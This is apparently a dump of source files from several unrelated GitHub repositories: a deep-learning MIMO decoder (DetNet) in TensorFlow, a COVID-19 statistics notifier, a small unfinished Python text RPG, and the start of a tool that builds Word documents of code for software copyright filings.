"c105842044aa7566f4ccdcbb95eb4c453e3b0739", "content_id": "8e740ebf5b16e10304e1ae2b45f73252dfe0ecf4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 31, "license_type": "permissive", "max_line_length": 18, "num_lines": 3, "path": "/README.md", "repo_name": "c3iox/leetcode", "src_encoding": "UTF-8", "text": "# leetcode\n\nMy Leetcode Answer\n" } ]
6
denizurgun/graduation-project
https://github.com/denizurgun/graduation-project
41b6dcc5ec8b3172716f680ff31dc2bd973839f1
fa0ef22454050d9de207daef38862c5ec702d7c7
93286557f5baeb8e7d9c841247ddf9b41b6d7d43
refs/heads/main
2023-05-30T16:49:20.381955
2021-06-20T16:04:27
2021-06-20T16:04:27
378,682,986
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5966183543205261, "alphanum_fraction": 0.6268116235733032, "avg_line_length": 31.687074661254883, "blob_id": "13fdd01aa1879ce193731f1b043437594ad1f648", "content_id": "8d986ebb8e2185b4fbdae9cd8b778a1808a91ed0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4981, "license_type": "no_license", "max_line_length": 192, "num_lines": 147, "path": "/Det_Net_model.py", "repo_name": "denizurgun/graduation-project", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri May 14 22:04:36 2021\r\n\r\n@author: \r\n\r\nGRADUATION PROJECT : DEEP LEARNING BASED DECODER IN MASSIVE MIMO CHANNELS\r\n\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport time as tm\r\nimport math\r\nimport sys\r\nimport pickle as pkl\r\nimport tensorflow.compat.v1 as tf\r\nfrom generate_data import get_data\r\nfrom Models import Model,__init__\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\nsess = tf.InteractiveSession()\r\ntf.disable_v2_behavior() \r\n#parameters\r\nNt = 20 # 2\r\nNr = 30 # 3\r\nSNRdB_low = 7.0\r\nSNRdB_high = 14.0\r\nSNR_low = 10.0 ** (SNRdB_low/10.0)\r\nSNR_high = 10.0 ** (SNRdB_high/10.0)\r\nL=30\r\nv_size = 2*Nt #4\r\nhidden_size = 8*Nt #16\r\nLearningRate = 0.0001\r\ndecay_rate = 0.97\r\ndecay_size = 1000\r\ntraining_iteration = 10000\r\ntrain_batch_size = 5000\r\ntest_iteration= 10000\r\ntest_batch_size = 1000\r\nLOG_LOSS = 1\r\nresidual_ft_alpha=0.9\r\nsnr_no = 14\r\nSNRdB_low_test=1.0\r\nSNRdB_high_test=14.0\r\n\r\n\r\nmodel = Model(Nt,v_size)\r\nloss = model.Det_Net(Nt, v_size, hidden_size, LOG_LOSS,L,residual_ft_alpha)\r\n# loss = model.Det_Net(Nt, v_size, hidden_size, LOG_LOSS,L)\r\nTOTAL_LOSS=tf.add_n(loss)\r\n\r\nglobal_step = tf.Variable(0, trainable=False)\r\ndecayLR= tf.train.exponential_decay(LearningRate, global_step, decay_size, decay_rate, staircase=True) #Learning rate en baลŸta yรผksek verilip giderek azaltฤฑlmฤฑลŸtฤฑr.\r\ntrain_step = tf.train.AdamOptimizer(decayLR).minimize(TOTAL_LOSS) #Train aลŸamasฤฑ\r\n\r\n\r\n\r\ninit_op=tf.initialize_all_variables()\r\nsess.run(init_op) #tensorflow session'ฤฑ baลŸlatฤฑlฤฑr\r\n\r\nloss_array = []\r\nloss_array1 = []\r\nloss_array2 = []\r\n\r\n#Training DetNet\r\nfor i in range(training_iteration): #num of train iter\r\n batchY, batchH, batchHY, batchHH, batchX , SNR1= get_data(train_batch_size,Nt,Nr,SNR_low,SNR_high)\r\n train_step.run(feed_dict={model.HY: batchHY, model.HH: batchHH, model.X: batchX}) #training \r\n if i % 100 == 0 :\r\n batchY, batchH, batchHY, batchHH, batchX ,SNR1= get_data(train_batch_size,Nt,Nr,SNR_low,SNR_high) #update values -- perform mini batch update her 100 iterasyonda bir \r\n results = sess.run([model.loss_LS, model.LOSS[L-1], model.ber_LS, model.BER[L-1]], {model.HY: batchHY, model.HH: batchHH, model.X: batchX}) # parametreleri gรผncelle.\r\n loss_array.append(results[0])\r\n loss_array1.append(results[1]) #LOSS List\r\n loss_array2.append(results[3]) #Ber list for each layer\r\n \r\n\r\n\r\nXr_ = np.zeros([snr_no,test_iteration,test_batch_size,Nt])\r\nXt_ = np.zeros([snr_no,test_iteration,test_batch_size,Nt])\r\n\r\n#Testing the trained model\r\nSNRdB_list = np.linspace(SNRdB_low_test,SNRdB_high_test,snr_no)\r\nSNR_list = 10.0 ** (SNRdB_list/10.0)\r\nBERS = np.zeros((1,snr_no))\r\nTIME = np.zeros((1,snr_no))\r\ntemp_bers= np.zeros((1,test_iteration))\r\ntemp_times = np.zeros((1,test_iteration))\r\nfor j in range(snr_no):\r\n for jj in range(test_iteration):\r\n batchY, batchH, batchHY, batchHH, batchX ,SNR1= get_data(test_batch_size , Nt,Nr,SNR_list[j],SNR_list[j])\r\n Xt_[j,jj,:,:] = batchX\r\n tic = tm.time()\r\n [temp_bers[:,jj], Xr_[j,jj,:,:]] = np.array(sess.run([model.BER[L-1],model.S[L-1]], {model.HY: batchHY, model.HH: batchHH, model.X: batchX})) \r\n toc = tm.time()\r\n temp_times[0][jj] = toc - tic\r\n BERS[0][j] = np.mean(temp_bers,1)\r\n TIME[0][j] = np.mean(temp_times[0])/test_batch_size\r\n\r\nprint('SNRdB_list')\r\nprint(SNRdB_list)\r\nprint('BERS')\r\nprint(BERS)\r\nprint('TIME')\r\nprint(TIME) \r\n \r\n#%% Plot Graph\r\n\r\nplt.plot(np.arange(len(loss_array1)), loss_array1)\r\n# plt.plot(np.arange(len(loss_array2)), loss_array2)\r\n\r\n#%% Save the data\r\nimport csv\r\n\r\nwith open('XT.csv', 'w', newline='') as file:\r\n for j in range(snr_no):\r\n for jj in range(test_iteration):\r\n for k in range(test_batch_size):\r\n mywriter = csv.writer(file, delimiter=',')\r\n mywriter.writerow(Xt_[j,jj,k,:])\r\n \r\nwith open('XR.csv', 'w', newline='') as file:\r\n for j in range(snr_no):\r\n for jj in range(test_iteration):\r\n for k in range(test_batch_size):\r\n mywriter1 = csv.writer(file, delimiter=',')\r\n mywriter1.writerow(Xr_[j,jj,k,:])\r\n \r\nwith open('loss_20x30.csv', 'w', newline='') as file:\r\n mywriter = csv.writer(file, delimiter=',')\r\n mywriter.writerow(loss_array1)\r\n \r\nwith open('ber_list_layers_20x30.csv', 'w', newline='') as file:\r\n mywriter = csv.writer(file, delimiter=',')\r\n mywriter.writerow(loss_array2)\r\n \r\nwith open('snrdblist_20x30.csv', 'w', newline='') as file:\r\n mywriter = csv.writer(file, delimiter=',')\r\n mywriter.writerow(SNRdB_list) \r\n\r\nwith open('bers_20x30.csv', 'w', newline='') as file:\r\n mywriter = csv.writer(file, delimiter=',')\r\n mywriter.writerow(BERS) \r\n \r\nwith open('times_20x30.csv', 'w', newline='') as file:\r\n mywriter = csv.writer(file, delimiter=',')\r\n mywriter.writerow(TIME) \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.5704736709594727, "alphanum_fraction": 0.5925602912902832, "avg_line_length": 43.19736862182617, "blob_id": "523f82841e2df530b1d2203f68e78238ec8aa7bb", "content_id": "ec1420e1fffe1fa453ba31ea09281438e8c3692b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3456, "license_type": "no_license", "max_line_length": 233, "num_lines": 76, "path": "/Models.py", "repo_name": "denizurgun/graduation-project", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed May 12 22:06:10 2021\r\n\r\n@author: \r\n\r\nGRADUATION PROJECT : DEEP LEARNING BASED DECODER IN MASSIVE MIMO CHANNELS\r\n\r\n\"\"\"\r\n\r\n\r\nimport tensorflow.compat.v1 as tf\r\nimport numpy as np\r\n\r\n\r\ndef piecewise_linear_soft_sign(x):\r\n t = tf.Variable(0.1)\r\n psi = -1+tf.nn.relu(x+t)/(tf.abs(t)+0.00001)-tf.nn.relu(x-t)/(tf.abs(t)+0.00001)\r\n return psi\r\n\r\ndef ara_katman(x,input_size,output_size,Layer_num):\r\n W = tf.Variable(tf.random_normal([input_size, output_size], stddev=0.01))\r\n b = tf.Variable(tf.random_normal([1, output_size], stddev=0.01))\r\n y = tf.matmul(x, W)+b\r\n return y\r\n\r\ndef relu_katmani(x,input_size,output_size,Layer_num):\r\n y = tf.nn.relu(ara_katman(x,input_size,output_size,Layer_num))\r\n return y\r\n\r\ndef sign_katmani(x,input_size,output_size,Layer_num):\r\n y = piecewise_linear_soft_sign(ara_katman(x,input_size,output_size,Layer_num))\r\n return y\r\n\r\n\r\nclass Model:\r\n def __init__(self,Nt,v_size):\r\n \r\n self.HY = tf.placeholder(tf.float32,shape=[None,Nt])\r\n self.X = tf.placeholder(tf.float32,shape=[None,Nt])\r\n self.HH = tf.placeholder(tf.float32,shape=[None, Nt , Nt])\r\n \r\n self.batch_size = tf.shape(self.HY)[0] #equal to B parameter.\r\n self.X_LS = tf.matmul(tf.expand_dims(self.HY,1),tf.matrix_inverse(self.HH)) #Matris รงarpฤฑmฤฑ yapฤฑlabilmesi iรงin HY'nin boyutu 1 arttฤฑrฤฑldฤฑ, 1 eksen eklendi. X_LS = HY*(HH')\r\n self.X_LS= tf.squeeze(self.X_LS,1) #1 eksen kaldฤฑrฤฑr.\r\n self.loss_LS = tf.reduce_mean(tf.square(self.X - self.X_LS)) #LOSS Function Hesaplandฤฑ.\r\n self.ber_LS = tf.reduce_mean(tf.cast(tf.not_equal(self.X,tf.sign(self.X_LS)), tf.float32))\r\n \r\n self.S=[]\r\n self.S.append(tf.zeros([self.batch_size,Nt])) #Xk+1\r\n self.V=[]\r\n self.V.append(tf.zeros([self.batch_size,v_size])) #Vk+1\r\n self.LOSS=[]\r\n self.LOSS.append(tf.zeros([]))\r\n self.BER=[]\r\n self.BER.append(tf.zeros([]))\r\n\r\n \r\n def Det_Net(self,Nt, v_size, hidden_size, LOG_LOSS,L,residual_ft_alpha): #\r\n \r\n for i in range(1,L):\r\n temp_s = tf.matmul(tf.expand_dims(self.S[-1],1),self.HH) \r\n temp_s= tf.squeeze(temp_s,1)\r\n Z = tf.concat([self.HY,self.S[-1],temp_s,self.V[-1]],1)\r\n ZZ = relu_katmani(Z,3*Nt + v_size , hidden_size,'relu'+str(i))\r\n self.S.append(sign_katmani(ZZ , hidden_size , Nt,'sign'+str(i)))\r\n self. S[i]=(1-residual_ft_alpha)*self.S[i]+residual_ft_alpha*self.S[i-1] #residual feature\r\n self.V.append(ara_katman(ZZ , hidden_size , v_size,'aff'+str(i)))\r\n self.V[i]=(1-residual_ft_alpha)*self.V[i]+residual_ft_alpha*self.V[i-1] #residual feature\r\n if LOG_LOSS == 1:\r\n \tself.LOSS.append(np.log(i)*tf.reduce_mean(tf.reduce_mean(tf.square(self.X - self.S[-1]),1)/tf.reduce_mean(tf.square(self.X - self.X_LS),1))) #X - Xk+1 -- (ฤฐletilen - tahmin edilen)^2 \r\n else:\r\n self.LOSS.append(tf.reduce_mean(tf.reduce_mean(tf.square(self.X - self.S[-1]),1)/tf.reduce_mean(tf.square(self.X - self.X_LS),1))) # X_LS : the standard decorrelator decoder., S: Her adฤฑmda tahmin edilen xk\r\n self.BER.append(tf.reduce_mean(tf.cast(tf.not_equal(self.X,tf.sign(self.S[-1])), tf.float32))) #X in xk'ya eลŸit olmadฤฑฤŸฤฑ yerlerde hata sayar.\r\n \r\n return self.LOSS\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.5128424763679504, "alphanum_fraction": 0.5299657583236694, "avg_line_length": 37, "blob_id": "bf3022b8870ca823b5ca6b1506990a5ce6d0f7e9", "content_id": "26c5c89c31cfb6d94b4abe2c91ca8a0f2e45f5cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1181, "license_type": "no_license", "max_line_length": 102, "num_lines": 30, "path": "/generate_data.py", "repo_name": "denizurgun/graduation-project", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed May 12 23:08:11 2021\r\n\r\n@author: \r\n\r\nGRADUATION PROJECT : DEEP LEARNING BASED DECODER IN MASSIVE MIMO CHANNELS\r\n\r\n\"\"\"\r\nimport numpy as np\r\n\r\ndef get_data(B,Nt,Nr,snr_low,snr_high):\r\n H_=np.random.randn(B,Nr,Nt)\r\n x_=np.sign(np.random.rand(B,Nt)-0.5) #transmitted BPSK signal \r\n y_=np.zeros([B,Nr])\r\n n=np.random.randn(B,Nr) # gรผrรผltรผ\r\n Hy_=x_*0 #0'a initiliaze\r\n HH_=np.zeros([B,Nt,Nt]) #0'a initiliaze\r\n SNR_= np.zeros([B]) #0'a initiliaze\r\n for i in range(B): #Batchsize boyutunda data oluลŸturulur\r\n SNR = np.random.uniform(low=snr_low,high=snr_high) #sฤฑnฤฑr SNR deฤŸerlerinde random SNR seรงilir.\r\n H=H_[i,:,:] #H(1,N,Nt) boyutunda her bir adฤฑmda alฤฑnarak iลŸleme sokulur.\r\n snr_temp=(H.T.dot(H)).trace()/Nt\r\n H=H/np.sqrt(snr_temp)*np.sqrt(SNR)\r\n H_[i,:,:]=H\r\n y_[i,:]=(H.dot(x_[i,:])+n[i,:]) # y = H*x + n*(normalize gรผรง) *np.sqrt(snr_temp)/np.sqrt(SNR)\r\n Hy_[i,:]=H.T.dot(y_[i,:])\r\n HH_[i,:,:]=H.T.dot( H_[i,:,:])\r\n SNR_[i] = SNR\r\n return y_,H_,Hy_,HH_,x_,SNR_" }, { "alpha_fraction": 0.8266666531562805, "alphanum_fraction": 0.8266666531562805, "avg_line_length": 24, "blob_id": "985c3423fa635018dafe4da7528f715dd44c06f5", "content_id": "2a738348c49a2ae15545a6f0421014d1c6e0ef10", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 75, "license_type": "no_license", "max_line_length": 52, "num_lines": 3, "path": "/README.md", "repo_name": "denizurgun/graduation-project", "src_encoding": "UTF-8", "text": "# graduation-project\n\nDEEP LEARNING BASED DECODER IN MASSIVE MIMO CHANNELS\n" } ]
4
GarvinChanderia/WindowsNotificationTrigger
https://github.com/GarvinChanderia/WindowsNotificationTrigger
a6ff4caeaa8e9725966cf420b3f0f3ee46933106
9ae5093987749abd05098ff7025f1a8f2a71b479
c2d127675b94b7e6294e38eab1d9bde559b710af
refs/heads/main
2023-07-14T23:32:54.706309
2021-09-06T18:22:33
2021-09-06T18:22:33
403,720,695
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5707376003265381, "alphanum_fraction": 0.5840386748313904, "avg_line_length": 31.15999984741211, "blob_id": "c241b488a741092b7971500149c30ec4e3c36398", "content_id": "f0b3fc6e1ac7f3397654d13bb84ba16b94c80ba7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 827, "license_type": "no_license", "max_line_length": 139, "num_lines": 25, "path": "/main.py", "repo_name": "GarvinChanderia/WindowsNotificationTrigger", "src_encoding": "UTF-8", "text": "import datetime\r\nimport time\r\nimport requests\r\nfrom plyer import notification\r\n\r\ncovidData = None\r\ntry:\r\n covidData= requests.get(\"https://corona-rest-api.herokuapp.com/Api/india\")\r\nexcept:\r\n print(\"Error!\")\r\n\r\nif(covidData!= None):\r\n data = covidData.json()[\"Success\"]\r\n while(True):\r\n notification.notify(\r\n title= \"Covid19 Stats on {}\".format(datetime.date.today()),\r\n message = \"Total Cases: {totalcases}\\nToday's Cases: {todaycases}\\nToday Deaths: {todaydeaths}\\nTotal Active: {active}\".format(\r\n totalcases=data['cases'],\r\n todaycases=data['todayCases'],\r\n todaydeaths=data[\"todayDeaths\"],\r\n active=data['active']),\r\n app_icon=\"icon.ico\",\r\n timeout=50\r\n )\r\n time.sleep(60*60*24*7)" } ]
1
biteapple777/RPG-in-Python
https://github.com/biteapple777/RPG-in-Python
e1e459bba61fa3a953df4fb04c702533cc3a3b2c
a875210fd63e7cb69bf4d411992667c93e02a5f0
714123b28257fec46ae8ed0cb75fa6049071cc3d
refs/heads/master
2020-02-27T04:19:39.976636
2016-06-12T08:36:10
2016-06-12T08:36:10
56,909,019
0
0
null
2016-04-23T08:32:32
2016-04-23T08:32:32
2016-06-12T08:36:10
null
[ { "alpha_fraction": 0.7333333492279053, "alphanum_fraction": 0.7333333492279053, "avg_line_length": 14, "blob_id": "cebf30f1b5e13ff3ec7f6a69ca9489b1a01684cf", "content_id": "b9d418470cebc35e3c1871c1f9a340e609c0678d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 30, "license_type": "no_license", "max_line_length": 15, "num_lines": 2, "path": "/README.md", "repo_name": "biteapple777/RPG-in-Python", "src_encoding": "UTF-8", "text": "# RPG-in-Python\nRPG in Python\n" }, { "alpha_fraction": 0.47112560272216797, "alphanum_fraction": 0.4786296784877777, "avg_line_length": 20.43356704711914, "blob_id": "822368cf99bbc71694c3fb9beaef8e0fc3cb2189", "content_id": "43dda8dc0843d52283f5ac2cda6ecc11e924b194", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3065, "license_type": "no_license", "max_line_length": 69, "num_lines": 143, "path": "/main.py", "repo_name": "biteapple777/RPG-in-Python", "src_encoding": "UTF-8", "text": "import pickle\nimport random\n\nxPos = 0\nyPos = 0\ntileBackup = '.'\n\nclass entity():\n \n def __init__(self, name, hp, xp, atk):\n self.name = name\n self.hp = hp\n self.xp = xp\n self.atk = atk\n \n def printStats(self):\n stats = vars(self)\n print ('-----')\n print ('Name: {}'.format(self.name))\n print ('HP: {}'.format(self.hp))\n print ('XP: {}'.format(self.xp))\n print ('Attack: {}'.format(self.atk))\n #print ('\\n'.join(\"%s: %s\" % item for item in stats.items()))\n print ('-----')\n \nclass player(entity):\n def __init__(self, name, hp, xp, atk):\n entity.__init__(self, name, hp, xp, atk)\n\nclass mob(entity):\n def __init__(self, name, hp, xp, atk):\n entity.__init__(self, name, hp, xp, atk)\n\n#=====GAMESL=====\n\ndef saveGame():\n pickle.dump([plr, wld],open('RPGData','wb'))\n\ndef loadGame():\n global plr\n global wld\n try:\n plr = pickle.load(open('RPGData','rb'))[0]\n wld = pickle.load(open('RPGData','rb'))[1]\n except:\n print('Some error occured.')\n print('Creating new character.')\n createPlr()\n return False\n\n#=====PLAYER=====\n\ndef createPlr():\n global plr\n plrName = input('Enter your name: ')\n plr = entity(plrName, 100, 0, 15)\n\n\n\n#=====WORLD=====\n\nworldLayout = {\n '.':5,\n '#':3,\n '@':2\n }\n\ndef genWorld():\n global wld\n wld = [\n [choose(worldLayout) for _ in range(6)]\n for _ in range(6)\n ]\n\ndef printWorld():\n print ('\\n'.join(' '.join(row) for row in wld))\n\ndef choose(d):\n choiceList = []\n for i in range(len(d)):\n for _ in range(d[list(d.keys())[i]]):\n choiceList.append(list(d.keys())[i])\n return random.choice(choiceList)\n\n#=====GAME=====\n\ndef game():\n global xPos\n global yPos\n global tileBackup\n wld[yPos][xPos] = 'O'\n plr.printStats()\n printWorld()\n cmd = input('Game Command: ')\n if cmd == 's':\n if yPos != 5:\n wld[yPos][xPos] = tileBackup\n yPos += 1\n tileBackup = wld[yPos][xPos]\n wld[yPos][xPos] = 'O'\n if cmd == 'w':\n if yPos != 0:\n wld[yPos][xPos] = tileBackup\n yPos -= 1\n tileBackup = wld[yPos][xPos]\n wld[yPos][xPos] = 'O'\n if cmd == 'a':\n if xPos != 0:\n wld[yPos][xPos] = tileBackup\n xPos -= 1\n tileBackup = wld[yPos][xPos]\n wld[yPos][xPos] = 'O'\n if cmd == 'd':\n if xPos != 5:\n wld[yPos][xPos] = tileBackup\n xPos += 1\n tileBackup = wld[yPos][xPos]\n wld[yPos][xPos] = 'O'\n game()\n\ndef battle():\n \n\n#=====MAIN=====\n\ndef main():\n cmd = input('Main Command: ')\n if cmd == 'start':\n print('Loading characters...')\n loadGame()\n game()\n if cmd == 'new':\n createPlr()\n genWorld()\n saveGame()\n game()\n if cmd == 'save':\n saveGame()\n if cmd == 'exit':\n exit()\n return main()\n\nmain()\n" } ]
2
Waightman/pyerz
https://github.com/Waightman/pyerz
da13741885aee9cc90694f8d10e908d6d184ec78
03311ce81dda7cba69f2eb0f0bf9c2c5a282a297
b20f9602b61cc05e20ecd4a7123284b083377dee
refs/heads/master
2023-03-24T09:31:52.528388
2021-01-10T01:43:00
2021-01-10T01:43:00
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5603086352348328, "alphanum_fraction": 0.5669419169425964, "avg_line_length": 24.828670501708984, "blob_id": "bbb5190a2b7ccfd7b9303c75d53ca46f7aba5b67", "content_id": "428a5bd5e210636cf95548784447c21e62d88f15", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8343, "license_type": "permissive", "max_line_length": 86, "num_lines": 286, "path": "/pyerz/pyerz.py", "repo_name": "Waightman/pyerz", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport codecs\nimport logging\nimport pkg_resources\nfrom os.path import abspath\ntry:\n from os import scandir\nexcept ImportError:\n from scandir import scandir\n\nimport click\nfrom docx import Document\nfrom docx.shared import Pt\nfrom docx.enum.text import WD_PARAGRAPH_ALIGNMENT\n\n\nlogger = logging.getLogger(__name__)\n\n\n# ้ป˜่ฎคๆบไปฃ็ ๆ–‡ไปถ็›ฎๅฝ•\nDEFAULT_INDIRS = ['.']\n# ้ป˜่ฎคๆ”ฏๆŒ็š„ไปฃ็ ๆ ผๅผ\nDEFAULT_EXTS = ['py']\n# ้ป˜่ฎค็š„ๆณจ้‡Šๅ‰็ผ€\nDEFAULT_COMMENT_CHARS = (\n '#', '//'\n)\n\n\ndef del_slash(dirs):\n \"\"\"\n ๅˆ ้™คๆ–‡ไปถๅคนๆœ€ๅŽไธ€ไฝ็š„/\n\n Args:\n dirs: ๆ–‡ไปถๅคนๅˆ—่กจ\n Returns:\n ๅˆ ้™คไน‹ๅŽ็š„ๆ–‡ไปถๅคน\n \"\"\"\n no_slash_dirs = []\n for dir_ in dirs:\n if dir_[-1] == '/':\n no_slash_dirs.append(dir_[: -1])\n else:\n no_slash_dirs.append(dir_)\n return no_slash_dirs\n\n\nclass CodeFinder(object):\n \"\"\"\n ็ป™ๅฎšไธ€ไธช็›ฎๅฝ•๏ผŒๅ’Œ่‹ฅๅนฒไธชๅŽ็ผ€ๅ๏ผŒ\n ้€’ๅฝ’ๅœฐ้ๅŽ†่ฏฅ็›ฎๅฝ•๏ผŒๆ‰พๅˆฐ่ฏฅ็›ฎๅฝ•ไธ‹\n ๆ‰€ๆœ‰ไปฅ่ฟ™ไบ›ๅŽ็ผ€็ป“ๆŸ็š„ๆ–‡ไปถ\n \"\"\"\n def __init__(self, exts=None):\n \"\"\"\n Args:\n exts: ๅŽ็ผ€ๅ๏ผŒ้ป˜่ฎคไธบไปฅpy็ป“ๅฐพ\n \"\"\"\n self.exts = exts if exts else ['py']\n\n def is_code(self, file):\n for ext in self.exts:\n if file.endswith(ext):\n return True\n return False\n\n @staticmethod\n def is_hidden_file(file):\n \"\"\"\n ๆ˜ฏๅฆๆ˜ฏ้š่—ๆ–‡ไปถ\n \"\"\"\n return file[0] == '.'\n\n @staticmethod\n def should_be_excluded(file, excludes=None):\n \"\"\"\n ๆ˜ฏๅฆ้œ€่ฆ็•ฅ่ฟ‡ๆญคๆ–‡ไปถ\n \"\"\"\n if not excludes:\n return False\n if not isinstance(excludes, list):\n excludes = [excludes]\n should_be_excluded = False\n for exclude in excludes:\n if file.startswith(exclude):\n should_be_excluded = True\n break\n return should_be_excluded\n\n def find(self, indir, excludes=None):\n \"\"\"\n ็ป™ๅฎšไธ€ไธชๆ–‡ไปถๅคนๆŸฅๆ‰พ่ฟ™ไธชๆ–‡ไปถๅคนไธ‹ๆ‰€ๆœ‰็š„ไปฃ็ \n\n Args:\n indir: ้œ€่ฆๆŸฅๅˆฐไปฃ็ ็š„็›ฎๅฝ•\n excludes: ๆŽ’้™คๆ–‡ไปถๆˆ–็›ฎๅฝ•\n Returns:\n ไปฃ็ ๆ–‡ไปถๅˆ—่กจ\n \"\"\"\n files = []\n for entry in scandir(indir):\n # ้˜ฒๆญขๆ น็›ฎๅฝ•ๆœ‰ไธ€ไบ›ๅซๆœ‰้žๅธธๅคšๆ–‡ไปถ็š„้š่—ๆ–‡ไปถๅคน\n # ไพ‹ๅฆ‚๏ผŒ.gitๆ–‡ไปถ๏ผŒๅฆ‚ๆžœไธๆŽ’้™ค๏ผŒๆญค็จ‹ๅบๅพˆ้šพ่ฟ่กŒ\n entry_name = entry.name\n entry_path = abspath(entry.path)\n if self.is_hidden_file(entry_name):\n continue\n if self.should_be_excluded(entry_path, excludes):\n continue\n if entry.is_file():\n if self.is_code(entry_name):\n files.append(entry_path)\n continue\n for file in self.find(entry_path, excludes=excludes):\n files.append(file)\n logger.debug('ๅœจ%s็›ฎๅฝ•ไธ‹ๆ‰พๅˆฐ%dไธชไปฃ็ ๆ–‡ไปถ.', indir, len(files))\n return files\n\n\nclass CodeWriter(object):\n def __init__(\n self, font_name='ๅฎ‹ไฝ“',\n font_size=10.5, space_before=0.0,\n space_after=2.3, line_spacing=10.5,\n command_chars=None, document=None\n ):\n self.font_name = font_name\n self.font_size = font_size\n self.space_before = space_before\n self.space_after = space_after\n self.line_spacing = line_spacing\n self.command_chars = command_chars if command_chars else DEFAULT_COMMENT_CHARS\n self.document = Document(pkg_resources.resource_filename(\n 'pyerz', 'template.docx'\n )) if not document else document\n\n @staticmethod\n def is_blank_line(line):\n \"\"\"\n ๅˆคๆ–ญๆ˜ฏๅฆๆ˜ฏ็ฉบ่กŒ\n \"\"\"\n return not bool(line)\n\n def is_comment_line(self, line):\n line = line.lstrip() # ๅŽป้™คๅทฆไพง็ผฉ่ฟ›\n is_comment = False\n for comment_char in self.command_chars:\n if line.startswith(comment_char):\n is_comment = True\n break\n return is_comment\n\n def write_header(self, title):\n \"\"\"\n ๅ†™ๅ…ฅ้กต็œ‰\n \"\"\"\n paragraph = self.document.sections[0].header.paragraphs[0]\n paragraph.alignment = WD_PARAGRAPH_ALIGNMENT.CENTER\n run = paragraph.add_run(title)\n run.font.name = self.font_name\n run.font.size = Pt(self.font_size)\n return self\n\n def write_file(self, file):\n \"\"\"\n ๆŠŠๅ•ไธชๆ–‡ไปถๆทปๅŠ ๅˆฐ็จ‹ๅบๆ–‡ๆกฃ้‡Œ้ข\n \"\"\"\n with codecs.open(file, encoding='utf-8') as fp:\n for line in fp:\n line = line.rstrip()\n if self.is_blank_line(line):\n continue\n if self.is_comment_line(line):\n continue\n paragraph = self.document.add_paragraph()\n paragraph.paragraph_format.space_before = Pt(self.space_before)\n paragraph.paragraph_format.space_after = Pt(self.space_after)\n paragraph.paragraph_format.line_spacing = Pt(self.line_spacing)\n run = paragraph.add_run(line)\n run.font.name = self.font_name\n run.font.size = Pt(self.font_size)\n return self\n\n def save(self, file):\n self.document.save(file)\n\n\[email protected](name='pyerz')\[email protected](\n '-t', '--title', default='่ฝฏไปถ่‘—ไฝœๆƒ็จ‹ๅบ้‰ดๅˆซๆๆ–™็”Ÿๆˆๅ™จV1.0',\n help='่ฝฏไปถๅ็งฐ+็‰ˆๆœฌๅท๏ผŒ้ป˜่ฎคไธบ่ฝฏไปถ่‘—ไฝœๆƒ็จ‹ๅบ้‰ดๅˆซๆๆ–™็”Ÿๆˆๅ™จV1.0๏ผŒๆญคๅ็งฐ็”จไบŽ็”Ÿๆˆ้กต็œ‰'\n)\[email protected](\n '-i', '--indir', 'indirs',\n multiple=True, type=click.Path(exists=True),\n help='ๆบ็ ๆ‰€ๅœจๆ–‡ไปถๅคน๏ผŒๅฏไปฅๆŒ‡ๅฎšๅคšไธช๏ผŒ้ป˜่ฎคไธบๅฝ“ๅ‰็›ฎๅฝ•'\n)\[email protected](\n '-e', '--ext', 'exts',\n multiple=True, help='ๆบไปฃ็ ๅŽ็ผ€๏ผŒๅฏไปฅๆŒ‡ๅฎšๅคšไธช๏ผŒ้ป˜่ฎคไธบPythonๆบไปฃ็ '\n)\[email protected](\n '-c', '--comment-char', 'comment_chars',\n multiple=True, help='ๆณจ้‡Šๅญ—็ฌฆไธฒ๏ผŒๅฏไปฅๆŒ‡ๅฎšๅคšไธช๏ผŒ้ป˜่ฎคไธบ#ใ€//'\n)\[email protected](\n '--font-name', default='ๅฎ‹ไฝ“',\n help='ๅญ—ไฝ“๏ผŒ้ป˜่ฎคไธบๅฎ‹ไฝ“'\n)\[email protected](\n '--font-size', default=10.5,\n type=click.FloatRange(min=1.0),\n help='ๅญ—ๅท๏ผŒ้ป˜่ฎคไธบไบ”ๅท๏ผŒๅณ10.5ๅท'\n)\[email protected](\n '--space-before', default=0.0,\n type=click.FloatRange(min=0.0),\n help='ๆฎตๅ‰้—ด่ท๏ผŒ้ป˜่ฎคไธบ0'\n)\[email protected](\n '--space-after', default=2.3,\n type=click.FloatRange(min=0.0),\n help='ๆฎตๅŽ้—ด่ท๏ผŒ้ป˜่ฎคไธบ2.3'\n)\[email protected](\n '--line-spacing', default=10.5,\n type=click.FloatRange(min=0.0),\n help='่กŒ่ท๏ผŒ้ป˜่ฎคไธบๅ›บๅฎšๅ€ผ10.5'\n)\[email protected](\n '--exclude', 'excludes',\n multiple=True, type=click.Path(exists=True),\n help='้œ€่ฆๆŽ’้™ค็š„ๆ–‡ไปถๆˆ–่ทฏๅพ„๏ผŒๅฏไปฅๆŒ‡ๅฎšๅคšไธช'\n)\[email protected](\n '-o', '--outfile', default='code.docx',\n type=click.Path(exists=False),\n 